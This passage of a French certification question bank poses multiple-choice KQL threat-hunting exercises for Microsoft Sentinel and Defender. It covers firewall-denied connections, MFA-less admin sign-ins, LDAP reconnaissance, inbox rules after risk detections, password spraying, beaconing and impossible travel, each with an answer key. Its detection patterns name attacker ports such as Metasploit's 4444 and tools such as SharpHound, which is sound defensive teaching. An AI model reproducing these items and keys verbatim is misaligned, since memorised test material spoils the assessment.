**Énoncé : Besoin :** pour les connexions sortantes refusées par le pare-feu vers des ports inhabituels, identifier le processus du poste à l'origine (Sentinel ingère CommonSecurityLog et DeviceNetworkEvents). Quelle requête est la plus adaptée ?

**A.**

REQUÊTE KQL

```
let Refus = CommonSecurityLog
| where TimeGenerated > ago(1d)
| where DeviceAction in~ ("deny", "drop") and DestinationPort in (4444, 8443, 1337)
| project RefusTime = TimeGenerated, SourceIP, DestinationIP, DestinationPort;
DeviceNetworkEvents
| where TimeGenerated > ago(1d)
| where RemotePort in (4444, 8443, 1337)
| join kind=inner Refus on $left.LocalIP == $right.SourceIP, $left.RemoteIP ==
$right.DestinationIP
| where abs(datetime_diff("second", TimeGenerated, RefusTime)) < 120
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
RemoteIP, RemotePort
```

**B.**

REQUÊTE KQL

```
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where ProcessCommandLine has "deny"
```

**C.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where TimeGenerated > ago(1d)
| join kind=inner (CommonSecurityLog) on DeviceName
```

**D.**

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| where DeviceAction == "deny"
| summarize count() by SourceIP
```

**Bonne réponse : A**

**Correction détaillée**

La corrélation réseau ↔ terminal s'appuie sur les **adresses IP** (locale/source, distante/destination) et une **tolérance temporelle** (`datetime_diff` < 120 s), car les horloges et les horodatages diffèrent entre sources. La clause `on` combine plusieurs égalités.

**Analyse des réponses incorrectes**

- **B.** Le mot « deny » dans une ligne de commande n'a aucun rapport avec les refus du pare-feu.
- **C.** CommonSecurityLog n'a pas de DeviceName de poste ; la corrélation se fait par adresses IP et temps.
- **D.** Ne relie pas les refus aux processus des postes.

**Explication technique**

Le NAT peut masquer l'IP source réelle du poste côté pare-feu : la corrélation n'est fiable que si le pare-feu voit les adresses internes. Les ports 4444 (Metasploit par défaut) ou 1337 sont des exemples ; adaptez la liste à votre contexte.

**Résultat attendu**

Les processus des postes à l'origine de connexions refusées par le pare-feu sur des ports suspects.

**Hypothèses liées au schéma de données**

Hypothèse : le pare-feu journalise SourceIP interne (pas d'adresse traduite) et les deux sources sont synchronisées en temps.

**Amélioration proposée**

Utiliser `bin` sur le temps des deux côtés pour transformer la tolérance en clé de jointure et réduire le coût.

**Point à retenir pour l'examen :** Pare-feu ↔ terminal = IP locale/distante + tolérance temporelle (datetime_diff).

**Référence officielle**

- JournalDeSécuritéCommun — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/commonsecuritylog
- DeviceNetworkEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicenetworkevents-table

## Question n° 250 — Connexions réussies sans MFA pour des comptes privilégiés

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** lister les connexions réussies à facteur unique de comptes possédant un rôle privilégié Entra ID. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where AuthenticationRequirement == "multiFactorAuthentication"
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == "0"
| summarize count() by AppDisplayName
```

**C.**

REQUÊTE KQL

```
let Privilegies = IdentityInfo
| where TimeGenerated > ago(14d)
| summarize arg_max(TimeGenerated, AssignedRoles) by AccountUPN
| where array_length(AssignedRoles) > 0
| project Upn = tolower(AccountUPN), AssignedRoles;
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == "0" and AuthenticationRequirement == "singleFactorAuthentication"
| extend Upn = tolower(UserPrincipalName)
| join kind=inner Privilegies on Upn
| summarize Connexions = count(), Applications = make_set(AppDisplayName, 10) by Upn,
tostring(AssignedRoles)
```

**D.**

REQUÊTE KQL

```
IdentityInfo
| where TimeGenerated > ago(14d)
| where IsMFARegistered == false
```

**Bonne réponse : C**

**Correction détaillée**

**AuthenticationRequirement** indique si la connexion exigeait un seul facteur ou la MFA. Le croisement avec **IdentityInfo.AssignedRoles** (tableau des rôles attribués, dernière version par compte) cible les comptes à privilèges. `tostring()` permet de regrouper sur le tableau des rôles.

**Analyse des réponses incorrectes**

- **A.** Liste les connexions avec MFA : l'inverse du besoin.
- **B.** Comptage par application, sans critère de privilège ni de MFA.
- **D.** Indique l'inscription MFA, pas les connexions effectives à facteur unique.

**Explication technique**

Les connexions à facteur unique d'administrateurs révèlent une faiblesse d'accès conditionnel (exclusions, authentification héritée). Remédiation : stratégie exigeant une MFA résistante à l'hameçonnage pour les rôles d'administration, blocage de l'authentification héritée.

**Résultat attendu**

Les comptes privilégiés ayant des connexions sans MFA, avec le nombre et les applications.

**Hypothèses liées au schéma de données**

IdentityInfo nécessite l'UEBA ; AssignedRoles reflète les rôles Entra actifs (les rôles éligibles PIM peuvent ne pas apparaître).

**Amélioration proposée**

Compléter avec AuditLogs (activations PIM) et AADNonInteractiveUserSignInLogs.

**Point à retenir pour l'examen :** MFA effective = SigninLogs.AuthenticationRequirement ; rôles = IdentityInfo.AssignedRoles.

**Référence officielle**

- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs
- IdentityInfo — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/identityinfo

## Question n° 251 — Enrichissement avec une watchlist via lookup

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** marquer les connexions provenant des adresses IP de sortie connues de l'entreprise (watchlist « IPEntreprise », clé de recherche = IP) sans perdre les autres connexions. Quelle requête est

correcte ?

**A.**

REQUÊTE KQL

```
let IPConnues = _GetWatchlist("IPEntreprise") | project IPAddress = SearchKey;
SigninLogs
| where TimeGenerated > ago(1d)
| join kind=inner IPConnues on IPAddress
```

**B.**

REQUÊTE KQL

```
_GetWatchlist("IPEntreprise")
| summarize count()
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where IPAddress == "IPEntreprise"
```

**D.**

REQUÊTE KQL

```
let IPConnues = _GetWatchlist("IPEntreprise") | project IPAddress = SearchKey, Comment;
SigninLogs
| where TimeGenerated > ago(1d)
| lookup kind=leftouter IPConnues on IPAddress
| extend Origine = iff(isempty(Comment), "Externe", "Entreprise")
| summarize Connexions = count() by Origine
```

**Bonne réponse : D**

**Correction détaillée**

**lookup** (leftouter par défaut) enrichit chaque ligne de la table de faits avec les colonnes de la table de dimension correspondante, sans supprimer les lignes sans correspondance. **_GetWatchlist()** expose la watchlist, dont la clé est **SearchKey**.

**Analyse des réponses incorrectes**

- **A.** La jointure interne supprime toutes les connexions externes, alors qu'il fallait les conserver.
- **B.** Compte les entrées de la watchlist, sans lien avec les connexions.
- **C.** Compare l'IP au nom de la watchlist.

**Explication technique**

`lookup kind=inner` existe aussi (équivalent à un filtre). Pour des plages IP (CIDR), utilisez `ipv4_lookup` ou `ipv4_is_in_range` plutôt qu'une égalité.

**Résultat attendu**

Le nombre de connexions par origine (Entreprise / Externe).

**Point à retenir pour l'examen :** Enrichir sans perdre de lignes = lookup (leftouter) ; watchlist via `_GetWatchlist()` et SearchKey.

**Référence officielle**

- Listes de surveillance dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/watchlists
- lookup, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/lookup-operator?view=microsoft-sentinel

## Question n° 252 — Agents silencieux : Heartbeat et inventaire

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** lister les serveurs qui envoyaient des battements de cœur (agent Azure Monitor) la semaine dernière mais plus aucun depuis 24 heures. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
let Actifs = Heartbeat
| where TimeGenerated > ago(1d)
| distinct Computer;
Heartbeat
| where TimeGenerated between (ago(8d) .. ago(1d))
| summarize DernierBattement = max(TimeGenerated) by Computer
| join kind=leftanti Actifs on Computer
```

**B.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(8d)
| summarize count() by Computer
| where count_ == 0
```

**C.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(1d)
| distinct Computer
```

**D.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(8d)
| join kind=inner (Heartbeat) on Computer
```

**Bonne réponse : A**

### Correction détaillée

Pour détecter une **absence**, on compare deux ensembles : les ordinateurs vus sur la période de référence et ceux vus récemment, avec **leftanti** (présents à gauche, absents à droite). Un `summarize` ne produit jamais de ligne pour un groupe sans données.

### Analyse des réponses incorrectes

- **B.** Un ordinateur sans ligne n'apparaît pas dans le résultat d'un summarize : count_ ne vaut jamais 0.
- **C.** Liste les agents actifs, l'inverse du besoin.
- **D.** Auto-jointure sans logique d'absence.

### Explication technique

Un agent silencieux peut signifier une panne, un arrêt volontaire ou une tentative d'évasion (désactivation de la journalisation, T1562). Sentinel propose aussi la surveillance de l'intégrité des connecteurs (SentinelHealth).

### Résultat attendu

Les ordinateurs muets depuis 24 heures avec la date de leur dernier battement.

### Amélioration proposée

Exclure les machines décommissionnées via une watchlist et alerter sur les serveurs critiques.

**Point à retenir pour l'examen :** Détecter une absence = leftanti entre période de référence et période récente.

### Référence officielle

- Heartbeat — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/heartbeat
- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel

## Question n° 253 — Reconnaissance LDAP puis outil d'attaque sur le poste source

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** relier les requêtes LDAP de reconnaissance vues par Defender for Identity au processus du poste source qui les a émises (par exemple un outil de type SharpHound). Quelle requête est la plus adaptée ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "ldap.exe"
```

**B.**

REQUÊTE KQL

```
IdentityQueryEvents
| where Timestamp > ago(1d)
| where ActionType == "LDAP query" or Protocol == "Ldap"
| summarize Requetes = count(), Debut = min(Timestamp), Fin = max(Timestamp) by DeviceName,
AccountName
| where Requetes > 100
| join kind=inner (
    DeviceProcessEvents
    | where Timestamp > ago(1d)
    | project DeviceName, ProcessTime = Timestamp, FileName, ProcessCommandLine
  ) on DeviceName
| where ProcessTime between ((Debut - 5m) .. Fin)
| summarize Processus = make_set(FileName, 20), Commandes = make_set(ProcessCommandLine, 5) by
DeviceName, AccountName, Requetes
```

**C.**

REQUÊTE KQL

```
IdentityLogonEvents
| where Timestamp > ago(1d)
| where ActionType == "LogonFailed"
```

**D.**

REQUÊTE KQL

```
IdentityQueryEvents
| where Timestamp > ago(1d)
| summarize count() by QueryTarget
```

**Bonne réponse : B**

### Correction détaillée

Defender for Identity voit les **requêtes LDAP** reçues par les contrôleurs de domaine (IdentityQueryEvents) avec le **poste source** ; MDE voit les **processus** de ce poste. La jointure sur le nom d'appareil et la fenêtre temporelle de l'activité LDAP identifient l'outil responsable.

### Analyse des réponses incorrectes

- **A.** Il n'existe pas de binaire « ldap.exe » standard ; les outils de reconnaissance ont des noms variés.
- **C.** Échecs d'authentification, pas reconnaissance LDAP.
- **D.** Statistiques de cibles sans relier le poste source à un processus.

### Explication technique

Les volumes élevés de requêtes LDAP (énumération des utilisateurs, groupes, SPN, ACL) sont typiques de BloodHound/SharpHound, ADFind, PowerView (T1087.002, T1069.002). Le format de DeviceName peut différer entre MDI (nom NetBIOS/FQDN) et MDE : normaliser si nécessaire.

### Résultat attendu

Les postes et comptes ayant émis plus de 100 requêtes LDAP, avec les processus actifs pendant cette période.

### Hypothèses liées au schéma de données

Les valeurs de ActionType/Protocol dépendent des événements MDI ; vérifier les valeurs présentes (`summarize count() by ActionType, Protocol`).

**Amélioration proposée**

Normaliser DeviceName (`tolower`, suppression du suffixe de domaine) des deux côtés avant la jointure.

> **Point à retenir pour l'examen :** MDI (requêtes vues par le DC) ⋈ MDE (processus du poste) = identification de l'outil de reconnaissance.

**Référence officielle**

- IdentityQueryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-identityqueryevents-table
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 254 — Règle de boîte de réception après détection de risque

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** détecter la création d'une règle de boîte de réception dans les 6 heures suivant une détection de risque Entra ID Protection pour le même utilisateur. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(2d)
| where RiskState == "atRisk"
```

**B.**

REQUÊTE KQL

```
AADUserRiskEvents
| where TimeGenerated > ago(2d)
| summarize count() by RiskEventType
```

**C.**

REQUÊTE KQL

```
let Risques = AADUserRiskEvents
| where TimeGenerated > ago(2d)
| project RisqueTime = TimeGenerated, Upn = tolower(UserPrincipalName), RiskEventType, RiskLevel;
OfficeActivity
| where TimeGenerated > ago(2d)
| where Operation in ("New-InboxRule", "Set-InboxRule", "UpdateInboxRules")
| extend Upn = tolower(UserId)
| join kind=inner Risques on Upn
| where TimeGenerated between (RisqueTime .. RisqueTime + 6h)
| project RisqueTime, RegleTime = TimeGenerated, Upn, RiskEventType, RiskLevel, Operation,
ClientIP, Parameters
```

**D.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(2d)
| join kind=inner (AADUserRiskEvents) on UserId
```

**Bonne réponse : C**

**Correction détaillée**

**AADUserRiskEvents** contient les détections d'Entra ID Protection (RiskEventType, RiskLevel, UserPrincipalName) ; **OfficeActivity** les opérations Exchange. La corrélation séquentielle sur l'UPN normalisé et une fenêtre de 6 heures identifie un schéma classique de compromission de messagerie (BEC).

**Analyse des réponses incorrectes**

- **A.** Connexions à risque sans les règles de boîte de réception.
- **B.** Statistiques de risques sans lien avec les règles de messagerie.

- **D.** AADUserRiskEvents ne possède pas la colonne UserId au format UPN attendu ici, et aucune contrainte temporelle n'est appliquée.

**Explication technique**

Ce scénario est couvert par l'interruption automatique d'attaque (BEC) et par des détections MDCA (« Suspicious inbox manipulation rule »). Le champ Parameters contient les conditions et actions de la règle (ForwardTo, DeleteMessage, MoveToFolder « RSS Feeds »...).

**Résultat attendu**

Les règles de boîte de réception créées peu après une détection de risque pour le même utilisateur.

**Hypothèses liées au schéma de données**

Hypothèse : UserId de OfficeActivity contient l'UPN de l'utilisateur (cas habituel pour Exchange).

**Amélioration proposée**

Ajouter la comparaison des IP (ClientIP vs IpAddress du risque) pour renforcer la confiance.

**Point à retenir pour l'examen :** Risque d'identité puis règle de messagerie rapprochés = schéma BEC typique.

**Référence officielle**

- AADUserRiskEvents — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/aaduserriskevents
- Activité de Bureau — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/officeactivity

## Question n° 255 — Succès après une rafale d'échecs (auto-jointure temporelle)

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** détecter, pour un même compte et une même IP, une ouverture de session réussie (4624) survenant dans les 30 minutes après au moins 15 échecs (4625). Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4624
| where TimeGenerated > ago(30m)
```

**B.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4625
| summarize count() by TargetAccount
| where count_ >= 15
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID in (4624, 4625)
| summarize count() by EventID
```

**D.**

REQUÊTE KQL

```
let Echecs = SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4625
| summarize NbEchecs = count(), DernierEchec = max(TimeGenerated) by TargetAccount, IpAddress
| where NbEchecs >= 15;
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4624
| join kind=inner Echecs on TargetAccount, IpAddress
| where TimeGenerated between (DernierEchec .. DernierEchec + 30m)
| project SuccesTime = TimeGenerated, TargetAccount, IpAddress, Computer, NbEchecs, LogonType
```

**Bonne réponse : D**

### Correction détaillée

L'**auto-jointure** de SecurityEvent (échecs agrégés ⋈ succès) sur le compte et l'IP, avec une contrainte temporelle après le dernier échec, met en évidence une **force brute réussie**. Le prétraitement par `summarize` limite le volume avant la jointure.

### Analyse des réponses incorrectes

- **A.** Liste les succès récents sans référence aux échecs.
- **B.** Identifie les rafales d'échecs, mais pas le succès qui suit (force brute réussie).
- **C.** Compte global des succès et échecs, sans lien entre eux.

### Explication technique

Les succès réseau légitimes après des échecs (mot de passe mal tapé) existent : le seuil et la fenêtre réduisent ces cas. Selon les sources, l'IP peut être vide (« - ») pour des échecs locaux : les exclure. Technique T1110.

### Résultat attendu

Les succès survenus juste après une rafale d'échecs pour le même compte et la même IP.

### Amélioration proposée

Ajouter LogonType 10 (RDP) ou 3 (réseau) selon la surface ciblée et exclure les IP de passerelles de confiance.

> **Point à retenir pour l'examen :** Force brute réussie = échecs agrégés ⋈ succès (même compte + IP) dans une fenêtre après le dernier échec.

### Référence officielle

- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent
- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel

## Question n° 256 — Vérifier l'effet d'une remédiation ZAP

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** contrôler si des e-mails de hameçonnage distribués en boîte de réception ont bien été retirés après distribution (ZAP ou remédiation manuelle). Quelle requête convient ?

**A.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(3d)
| where ThreatTypes has "Phish" and DeliveryLocation == "Inbox/folder"
| project NetworkMessageId, RecipientEmailAddress, Subject, Remise = Timestamp
| join kind=leftouter (
    EmailPostDeliveryEvents
    | where Timestamp > ago(3d)
    | project NetworkMessageId, RecipientEmailAddress, ActionType, ActionResult,
DeliveryLocation, ActionTime = Timestamp
  ) on NetworkMessageId, RecipientEmailAddress
| extend Etat = iff(isempty(ActionType), "Toujours en boîte de réception ?", strcat(ActionType, "
- ", ActionResult))
| project Remise, RecipientEmailAddress, Subject, Etat, DeliveryLocation, ActionTime
```

**B.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(3d)
| where ThreatTypes has "Phish"
| join kind=inner (EmailPostDeliveryEvents) on Subject
```

**C.**

REQUÊTE KQL

```
EmailPostDeliveryEvents
| where Timestamp > ago(3d)
| summarize count() by ActionType
```

**D.**

REQUÊTE KQL

```
UrlClickEvents
| where Timestamp > ago(3d)
| where ActionType == "ClickBlocked"
```

**Bonne réponse : A**

### Correction détaillée

**EmailPostDeliveryEvents** enregistre les actions **après distribution** (Phish ZAP, Malware ZAP, remédiation manuelle, redistribution…) avec leur résultat. La jointure **leftouter** sur **NetworkMessageId + RecipientEmailAddress** fait apparaître les messages sans aucune action ultérieure.

### Analyse des réponses incorrectes

- **B.** L'objet n'est pas une clé fiable (et EmailPostDeliveryEvents n'a pas de colonne Subject).
- **C.** Statistiques des actions, sans identifier les messages non retirés.
- **D.** Clics bloqués, sans lien avec le retrait des messages.

### Explication technique

La colonne `LatestDeliveryLocation` d'EmailEvents donne aussi l'emplacement le plus récent connu. Les messages lus avant le retrait doivent faire l'objet d'une vérification des clics et des connexions.

### Résultat attendu

Chaque message d'hameçonnage distribué avec son état de retrait (ou l'absence d'action).

**Point à retenir pour l'examen :** Remédiation post-distribution = EmailPostDeliveryEvents ⋈ EmailEvents (NetworkMessageId + destinataire).

### Référence officielle

- EmailPostDeliveryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailpostdeliveryevents-table
- EmailEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailevents-table

# 3.5 Chasse aux menaces sur journaux simulés

## Question n° 257 — Pulvérisation dans des journaux simulés

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** une source pratique la pulvérisation de mots de passe. On exécute la requête suivante sur un extrait simulé de journaux de connexion. Quelle adresse IP ressort ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Connexions = datatable(TimeGenerated:datetime, UserPrincipalName:string, IPAddress:string,
ResultType:string)
[
    datetime(2026-10-05T02:00:00Z), "a.martin@contoso.com", "203.0.113.10", "50126",
    datetime(2026-10-05T02:00:05Z), "b.leroy@contoso.com",  "203.0.113.10", "50126",
    datetime(2026-10-05T02:00:09Z), "c.dubois@contoso.com", "203.0.113.10", "50126",
    datetime(2026-10-05T02:00:14Z), "d.moreau@contoso.com", "203.0.113.10", "50126",
    datetime(2026-10-05T09:12:00Z), "e.petit@contoso.com",  "198.51.100.7", "50126",
    datetime(2026-10-05T09:12:30Z), "e.petit@contoso.com",  "198.51.100.7", "50126",
    datetime(2026-10-05T09:13:10Z), "e.petit@contoso.com",  "198.51.100.7", "0"
];
Connexions
| where ResultType == "50126"
| summarize Comptes = dcount(UserPrincipalName), Echecs = count() by IPAddress
| where Comptes >= 3
```

**A.** Les deux adresses IP.

**B.** 203.0.113.10, avec 4 comptes distincts en échec en quelques secondes.

**C.** Aucune, car la requête ne filtre pas sur le temps.

**D.** 198.51.100.7, car elle a obtenu un succès.

**Bonne réponse : B**

### Correction détaillée

Le filtre conserve les échecs « identifiants invalides » (50126), puis `dcount(UserPrincipalName)` par IP mesure l'étendue : **203.0.113.10** a testé **4 comptes** en 14 secondes (Comptes = 4, Echecs = 4), signature de pulvérisation (T1110.003).

### Analyse des réponses incorrectes

- **A.** 198.51.100.7 n'atteint qu'un compte distinct.
- **C.** Le jeu simulé est déjà borné ; la logique dcount suffit à isoler la source.
- **D.** Elle n'a ciblé qu'un compte (2 échecs puis succès) : profil d'erreur de saisie, pas de pulvérisation, et elle ne passe pas le filtre `Comptes >= 3`.

### Explication technique

**datatable** permet de construire des journaux simulés pour tester une logique de chasse ou une règle avant déploiement, sans dépendre des données réelles. Sur des données réelles, ajouter une fenêtre temporelle (`bin(TimeGenerated, 1h)`) et vérifier les succès éventuels depuis la même IP.

### Résultat attendu

Une ligne : IPAddress = 203.0.113.10, Comptes = 4, Echecs = 4.

### Hypothèses liées au schéma de données

Les codes ResultType de SigninLogs sont des chaînes ; 50126 = nom d'utilisateur ou mot de passe incorrect.

### Amélioration proposée

Ajouter `countif(ResultType == "0")` dans le même `summarize` pour détecter une pulvérisation réussie.

**Point à retenir pour l'examen :** Pulvérisation = beaucoup de comptes distincts par IP (dcount), peu d'essais par compte.

### Référence officielle

- opérateur DataTable — https://learn.microsoft.com/fr-fr/kusto/query/datatable-operator?view=microsoft-sentinel
- dcount() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/dcount-aggregation-function?view=microsoft-sentinel

## Question n° 258 — Balisage de commande et contrôle

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un implant contacte son serveur à intervalle régulier. Sur les connexions simulées suivantes, que conclut la requête pour le couple (PC-17, 198.51.100.23) ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Reseau = datatable(TimeGenerated:datetime, DeviceName:string, RemoteIP:string)
[
    datetime(2026-10-05T10:00:00Z), "PC-17", "198.51.100.23",
    datetime(2026-10-05T10:05:02Z), "PC-17", "198.51.100.23",
    datetime(2026-10-05T10:09:58Z), "PC-17", "198.51.100.23",
    datetime(2026-10-05T10:15:01Z), "PC-17", "198.51.100.23",
    datetime(2026-10-05T10:20:00Z), "PC-17", "198.51.100.23",
    datetime(2026-10-05T10:01:00Z), "PC-22", "203.0.113.80",
    datetime(2026-10-05T10:47:00Z), "PC-22", "203.0.113.80"
];
Reseau
| sort by DeviceName asc, RemoteIP asc, TimeGenerated asc
| extend Intervalle = iff(DeviceName == prev(DeviceName) and RemoteIP == prev(RemoteIP),
(TimeGenerated - prev(TimeGenerated)) / 1s, real(null))
| where isnotnull(Intervalle)
| summarize Connexions = count() + 1, Moyenne = avg(Intervalle), EcartType = stdev(Intervalle) by
DeviceName, RemoteIP
| where Connexions >= 5 and EcartType < 10
```

**A.** Le couple n'est pas signalé car il n'y a que 5 connexions.

**B.** PC-22 est signalé car son intervalle est plus long.

**C.** Le couple est signalé : 5 connexions espacées d'environ 300 secondes avec un écart-type de quelques secondes, ce qui évoque un balisage automatisé.

**D.** La requête échoue car `prev()` exige `serialize`.

**Bonne réponse : C**

### Correction détaillée

Après tri, `prev()` compare chaque ligne à la précédente du même couple (appareil, IP) ; les intervalles de PC-17 valent environ 302, 296, 303 et 299 secondes : **moyenne ≈ 300 s**, **écart-type ≈ 3 s** → régularité typique d'un **beaconing** (T1071).

### Analyse des réponses incorrectes

- **A.** Le seuil est `>= 5` : 5 connexions passent le filtre.
- **B.** PC-22 n'a que 2 connexions et un seul intervalle (46 min) : il ne passe pas `Connexions >= 5`.
- **D.** `sort by` sérialise déjà le jeu de lignes.

### Explication technique

La division d'un timespan par `1s` donne un nombre de secondes. Les implants ajoutent souvent une **gigue** (jitter) de 10 à 30 % : ajuster le seuil d'écart-type ou utiliser le coefficient de variation (EcartType / Moyenne). Exclure les services légitimes réguliers (mises à jour, télémétrie, NTP).

**Résultat attendu**

Une ligne : PC-17, 198.51.100.23, Connexions = 5, Moyenne ≈ 300, EcartType ≈ 3.

**Hypothèses liées au schéma de données**

Sur DeviceNetworkEvents réel, certaines connexions peuvent être échantillonnées : tolérer des valeurs manquantes.

**Amélioration proposée**

Enrichir avec la rareté de l'IP dans l'organisation (`dcount(DeviceName)` par RemoteIP) : une IP contactée par un seul appareil et à intervalle régulier est très suspecte.

**Point à retenir pour l'examen :** Balisage = intervalles réguliers (écart-type faible) vers une même destination, peu partagée.

**Référence officielle**

- prev() — https://learn.microsoft.com/fr-fr/kusto/query/prev-function?view=microsoft-sentinel
- serialize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/serialize-operator?view=microsoft-sentinel

## Question n° 259 — Voyage impossible calculé

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Chasse aux menaces sur journaux simulés

**Énoncé : Hypothèse de chasse :** un compte est utilisé simultanément depuis deux pays. Que renvoie la requête sur ces connexions simulées ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Connexions = datatable(TimeGenerated:datetime, UserPrincipalName:string, Location:string,
IPAddress:string)
[
    datetime(2026-10-05T08:00:00Z), "c.dubois@contoso.com", "FR", "192.0.2.10",
    datetime(2026-10-05T08:40:00Z), "c.dubois@contoso.com", "SG", "203.0.113.200",
    datetime(2026-10-05T09:00:00Z), "a.martin@contoso.com", "FR", "192.0.2.11",
    datetime(2026-10-05T18:00:00Z), "a.martin@contoso.com", "DE", "198.51.100.40"
];
Connexions
| sort by UserPrincipalName asc, TimeGenerated asc
| extend PaysPrec = prev(Location), TempsPrec = prev(TimeGenerated), UtilPrec =
prev(UserPrincipalName)
| where UserPrincipalName == UtilPrec and Location != PaysPrec
| extend Minutes = datetime_diff("minute", TimeGenerated, TempsPrec)
| where Minutes < 120
| project UserPrincipalName, PaysPrec, Location, Minutes
```

**A.** Une ligne pour c.dubois@contoso.com : passage de FR à SG en 40 minutes.

**B.** Aucune ligne, car `prev()` mélange les utilisateurs.

**C.** Deux lignes, une par utilisateur.

**D.** Une ligne pour a.martin@contoso.com : passage de FR à DE.

**Bonne réponse : A**

**Correction détaillée**

**datetime_diff("minute", t2, t1)** calcule l'écart en minutes. Un changement de pays FR → SG en **40 minutes** est physiquement impossible : signe d'une session volée, d'un VPN ou d'un proxy à vérifier.

**Analyse des réponses incorrectes**

- **B.** La condition `UserPrincipalName == UtilPrec` empêche de comparer deux utilisateurs différents.
- **C.** Seul le changement de pays de c.dubois est inférieur à 120 minutes.
- **D.** L'écart est de 540 minutes (9 h), compatible avec un déplacement : il ne passe pas le filtre `Minutes < 120`.

**Explication technique**

Les détections natives (Entra ID Protection « Atypical travel », MDCA « Impossible travel ») tiennent compte de l'historique et des VPN connus. Une requête personnalisée peut utiliser `geo_info_from_ip_address()` et les coordonnées pour calculer une vitesse (`geo_distance_2points`).

**Résultat attendu**

c.dubois@contoso.com | FR | SG | 40.

**Amélioration proposée**

Exclure les IP de VPN d'entreprise (watchlist) et ne garder que les connexions réussies.

